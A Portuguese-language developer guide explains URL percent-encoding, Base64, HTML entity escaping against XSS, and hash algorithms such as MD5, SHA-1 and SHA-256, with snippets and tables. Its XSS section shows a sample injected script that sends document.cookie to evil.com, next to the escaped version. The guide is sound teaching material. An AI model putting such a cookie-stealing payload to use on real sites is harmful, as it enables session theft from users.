Guia prático de codificação, escaping e hash criptográfico

Entenda as diferenças entre percent-encoding de URL, formato Base64, escape de entidades HTML contra XSS e algoritmos de hashing criptográfico unidirecional.

Engenheiros de software e desenvolvedores web transformam dados constantemente: codificando parâmetros de busca para requisições HTTP, empacotando imagens binárias em JSON, tratando entradas contra injeção e gerando hashes de verificação.

Apesar de fundamentais, há frequente confusão entre codificação (encoding), escape (escaping) e hashing. Confundir esses três conceitos está na origem de falhas críticas de segurança, como Cross-Site Scripting (XSS), SQL Injection e autenticações quebradas.

Destaques

  • Codificação (Reversível): Altera o formato de representação para transporte seguro entre camadas sem perda de dados (ex.: Base64, URL percent-encoding).
  • Escape (Específico ao contexto): Instruir o analisador sintático a interpretar caracteres especiais como dados literais e não como instruções de código (ex.: entidades HTML).
  • Hashing (Unidirecional): Algoritmo matemático que converte entradas arbitrárias em uma assinatura de comprimento fixo impossível de reverter matematicamente (ex.: SHA-256).
  • Codificação não é segurança: Base64 não criptografa informações; qualquer ferramenta decodifica os dados instantaneamente sem chave.

1. Codificação Percentual de URL (Percent-Encoding)

Os Identificadores Uniformes de Recursos (URIs) são restritos a um conjunto restrito de caracteres US-ASCII segundo a RFC 3986. Caracteres fora do conjunto não reservado (A-Z, a-z, 0-9, -, _, ., ~) devem ser expressos por octetos com sinal de porcentagem (%XX), onde XX representa o valor hexadecimal do byte.

Diferenças: encodeURI vs encodeURIComponent

Em JavaScript, utilizar o método inadequado causa falhas de comunicação frequentes:

Característica encodeURI encodeURIComponent
Finalidade URLs completas com protocolo, domínio e caminho Chaves ou valores individuais da query string
Escapa : / ? # & = + Não (preserva delimitadores de URL) Sim (converte todos em %XX)
Exemplo de uso encodeURI('https://site.com/search?q=a+b') encodeURIComponent('termo & cia')
// Example breakdown
const query = 'developer tools & utilities = free';
console.log(encodeURIComponent(query));
// Output: "developer%20tools%20%26%20utilities%20%3D%20free"

Para tratar seus parâmetros em integrações de API, use nosso URL Encoder & Decoder.

2. Codificação Base64: dados binários em texto ASCII

O padrão Base64 (definido na RFC 4648) converte bytes brutos em uma representação de base 64 composta por caracteres ASCII imprimíveis: A–Z, a–z, 0–9, + e / (com = para preenchimento).

A matemática por trás da conversão

Os computadores processam dados em bytes de 8 bits. O Base64 agrupa blocos de 24 bits (3 bytes) e os divide em 4 parcelas de 6 bits cada ($2^6 = 64$ possibilidades).

$$\text{3 Bytes (24 bits)} \longrightarrow \text{4 Base64 Characters (6 bits each)}$$

Como 4 caracteres são gerados para cada 3 bytes originais, o Base64 introduz uma sobrecarga constante de 33% no armazenamento e tráfego de dados:

$$\text{Encoded Size} \approx \lceil \frac{N}{3} \rceil \times 4 \text{ bytes}$$

// Browser-native Base64 conversions for text
function textToBase64(str) {
  return btoa(unescape(encodeURIComponent(str)));
}

function base64ToText(b64) {
  return decodeURIComponent(escape(atob(b64)));
}

O Base64 é ideal para embutir ícones em Data URIs ou transmitir assinaturas digitais. Experimente nosso Base64 Encoder / Decoder.

3. Escape de entidades HTML: prevenção contra XSS

O escape em HTML substitui caracteres reservados da sintaxe pelas suas respectivas entidades textuais:

Caractere Função na sintaxe HTML Entidade escapada
< Abertura de tag &lt;
> Fechamento de tag &gt;
& Prefixo de entidade &amp;
" Delimitador de atributo &quot;
' Delimitador de atributo &#39;

Sem o escape, exibir dados não tratados permite a injeção de scripts maliciosos (XSS):

<!-- Vulnerable injection -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>

<!-- Safe escaped rendering -->
<div>User comment: &lt;script&gt;fetch('https://evil.com?c=' + document.cookie)&lt;/script&gt;</div>

Valide seus modelos de renderização com nosso HTML Entity Encoder / Decoder.

4. Hashing criptográfico: a impressão digital unidirecional

Ao contrário da codificação, o hashing é estritamente irreversível. Uma função criptográfica segura garante quatro propriedades:

  1. Resistência à pré-imagem: Dado o hash $h$, é inviável encontrar a mensagem $m$ original tal que $H(m) = h$.
  2. Resistência à segunda pré-imagem: Dado $m_1$, é inviável achar outro $m_2$ com $H(m_1) = H(m_2)$.
  3. Resistência a colisões: É inviável encontrar duas entradas arbitrárias $x \neq y$ onde $H(x) = H(y)$.
  4. Efeito avalanche: Alterar um único bit na entrada modifica radicalmente todo o hash final.

Comparativo dos principais algoritmos

Algoritmo Tamanho do Digest Situação de Colisão Uso Recomendado
MD5 128 bits (32 hex) Quebrado (colisões em segundos) Apenas checksums legados não críticos
SHA-1 160 bits (40 hex) Quebrado (ataque SHAttered de 2017) Descontinuado; migrar para SHA-256
SHA-256 256 bits (64 hex) Criptograficamente Seguro Padrão para certificados TLS, Git e APIs
SHA-512 512 bits (128 hex) Criptograficamente Seguro Ambientes de alta segurança e HMAC

Crie identificadores seguros com nosso UUID Generator e Password Generator.

Quando aplicar cada método?

  • Parâmetros de texto em URLs: URL percent-encoding.
  • Dados binários em JSON ou CSS: Base64.
  • Exibição de conteúdo de usuários na web: HTML entity escaping.
  • Validação de integridade de arquivos: Hashing criptográfico.

Perguntas frequentes

É possível descriptografar um código Base64? O Base64 não é uma criptografia, mas uma codificação. Qualquer decodificador padrão recupera os bytes originais sem precisar de senha.

O SHA-256 é suficiente para proteger senhas de usuários? Não de forma isolada. Como GPUs modernas calculam bilhões de hashes SHA-256 por segundo, senhas exigem funções lentas com uso intensivo de memória, como Argon2id ou bcrypt.

Por que espaços em URLs são codificados como %20 ou +? Em caminhos padronizados pela RFC 3986, o espaço deve ser %20. No formato clássico application/x-www-form-urlencoded de formulários web, os espaços eram historicamente convertidos em +.